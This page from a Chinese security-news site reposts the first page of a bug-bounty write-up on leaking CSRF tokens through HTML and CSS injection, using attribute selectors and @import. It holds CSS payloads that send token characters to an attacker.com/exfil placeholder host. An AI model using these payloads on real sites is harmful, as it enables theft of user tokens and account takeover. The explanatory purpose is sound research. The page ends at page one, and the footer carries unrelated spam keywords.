歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

滲透技術再升級:如何利用HTML注入泄漏用戶數據

來源:本站整理 作者:佚名 時間:2019-06-25 TAG: 我要投稿

本文主要詳細分析了我如何重新發現一種漏洞利用技術,成功繞過現有的緩解措施,對目標產生了相當有限的影響,并獲得了5位數的獎金。
啟發:一個奇怪的HTML注入案例
André Baptista和Cache-Money正在研究一個非常奇怪的漏洞。這一漏洞最初是一個簡單的字符集繞過,通過一系列瘋狂的漏洞利用步驟后,演變成目標其他位置的HTML注入(不是完整的XSS)。這是一個非常酷的漏洞利用鏈,可以說這兩位研究者已經取得了一定成績,但要進行下一步利用,還存在一些問題。
在得知他們所取得的進展之后,我開始思考是否可以提供一些幫助,以提升這一漏洞的利用方式。目前,我們能確定的最嚴重的利用程度,是一次相對有效的點擊劫持。0xACB(Andre)和Cache-Money有一個非常棒的思路,就是如何將更多的攻擊鏈連接在一起,以潛在的實現高影響力,但我有一個不同的思路。
當我們確定,在默認情況下,DomPurify可以實現樣式標記之后,我開始思考,是否可以利用CSS做更多事情,而不僅僅是操縱DOM。如果大家已經閱讀過我之前的文章,想必已經了解,我對CSS注入漏洞利用比較熟悉。但遺憾的是,這個頁面具有框架保護(Frame Protection),需要一些用戶交互來觸發注入。如果我們想要泄漏敏感的信息,似乎需要很長的時間來實現,可能需要很多天。當然,這是一個弱的,且容易出現問題的攻擊方式,并且最多我們只能獲得小4位數的獎金。
我需要一種方法來實現對瀏覽器的攻擊,并且這種方式最好無需重新加載、iframe或其他用戶交互。由此,我重新評估了多個CSS Payload,并嘗試進行類似這樣的攻擊。此外,由于對可以注入的Payload的長度有限制,所以能夠更進一步。于是,我開始考慮一些值得關注的CSS功能特性,在@import之前,似乎不可能只使用標簽來實現利用。
CSS注入入門
在深入了解該漏洞利用技術之前,我想先花費一小段時間,來描述一下CSS注入中使用的傳統Token滲透技術。如果各位讀者已經熟悉,請直接跳到下一章。此外,在我之前的博客文章中更加深入地介紹了該技術。
傳統的CSS注入Token滲透技術,依賴于稱為屬性選擇器(Attribute Selectors)的CSS特性。如果該元素的屬性滿足選擇器指示的條件,那么屬性選擇器將允許開發人員指定特定樣式,該特定樣式僅應用于該元素。
我們可以利用屬性選擇器,創建僅在某些條件下應用于頁面上敏感元素的規則。然后,我們可以使用像background-image這樣的屬性,使瀏覽器在應用這些樣式時調用攻擊者控制的系統。這樣一來,我們便可以建立一個驅使Token泄漏的反饋循環。
input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9); 
}
在這一示例中,我們告訴瀏覽器“如果CSRF Token以a開頭,那么就將背景圖像設置為https://attacker.com/exfil/a上的圖像”。隨后,我們對Token可能存在的所有起始字母重復這一規則(a、b、c……7、8、9等)。
一旦我們知道了Token的第一個字符是什么,我們就可以再次執行攻擊(通常使用iframe),我們需要稍微修改一下Payload。
input[name=csrf][value^=ca]{
    background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
    background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
    background-image: url(https://attacker.com/exfil/c9); 
}
在此示例中,我們假設CSRF Token的第一個Token是c。通過這種方式,我們可以重新運行先前的規則,來確定CSRF Token的第二個字符,但所有Token都以c為開頭。
該技術的先決條件如下:
1. CSS注入需要允許足夠長的Payload;
2. 需要能夠構建頁面以觸發CSS重新評估新生成的Payload;
3. 需要能夠使用外部托管的圖像(可能被CSP阻止)。
這意味著,如果注入不允許足夠大小的Payload,或者頁面不允許使用框架,那么這種技術將不適用。在我們的例子中,就無法使用這種技術,因為存在框架的緩解,并且我們實際可以注入的字符數量是有限的。
找到救星:@import
許多編程語言都可以從其他源文件導入代碼,CSS也不例外。盡管許多人可能只知道,但CSS本身實際上有一種方法可以使用名為@import的at-rule執行類似(但不同)類型的樣式表包含。
在大多數情況下,@import執行將獲取的樣式表直接交換到當前樣式表中。這允許開發人員引入外部樣式,同時覆[email protected]行下面的外部資源中定義的任何不需要的指令。
在某些瀏覽器(即Chrome)中實現此功能,存在另一個值得關注的副作用,外部資源可以與瀏覽器并行獲取,同時處理樣式表的其余部分。我的理解是,這種行為增加了頁面的TTI,同時試圖減輕“無格式內容的閃爍”(Flashed of Unstyled Content,參考:FOUC問題),但它在實際的漏洞利用中有所幫助。
想象一下,我們有一個包含以下樣式表的網頁:
@import url(http://laggysite.com/base.css);
 
* { color: red; }
Chrome會通過3個步驟處理此樣式表:
1. 向http://laggysite.com/base.css發出請求
2. 評估剩余的指令(apply * { color: red; })
3. 當http://laggysite.com/base.css返回時,將響應替換為樣式表,并重新評估樣式表。
當@import目標響應模擬與原有技術中iframe所需的相同“控制重新評估CSS”行為的能力時,我們可以利用這種瀏覽器的行為,來重新評估樣式表。我們使用@import的唯一要求是,我們必須可以控制樣式標記的開頭部分,因為這實際上是要實現HTML注入。
為此,我們將在樣式表中創建一些@import規則,讓我們的服務器保持所有連接的開啟。然后,我們使用標準的CSS注入Token exfil Payload,從target屬性中提取第一個Token。在我們的服務器從后臺樣式接收到這一Token之后,我們就可以生成下一個Token exfil Payload,并使用新創建的Payload響應下一個待處理的@import規則。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.zjtpzs.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        神秘东方电子游艺 赚钱游戏日赚一万qq群 套金鱼好赚钱吗 股票涨跌指数怎么看 街边cos赚钱吗 股票指数计算方式 边境之旅赚钱快 股票行情日线图中如何分析支撑线和阻力线 百度上传文档财富值赚钱吗 怎么利用暴风影音赚钱 套圈套人民币赚钱吗 侯耀文赚钱 dnf附魔提炼什么装备赚钱 在广东种什么最赚钱吗 股票行情大盘 长安欧诺跑货拉拉赚钱么 赚钱给自己花的句子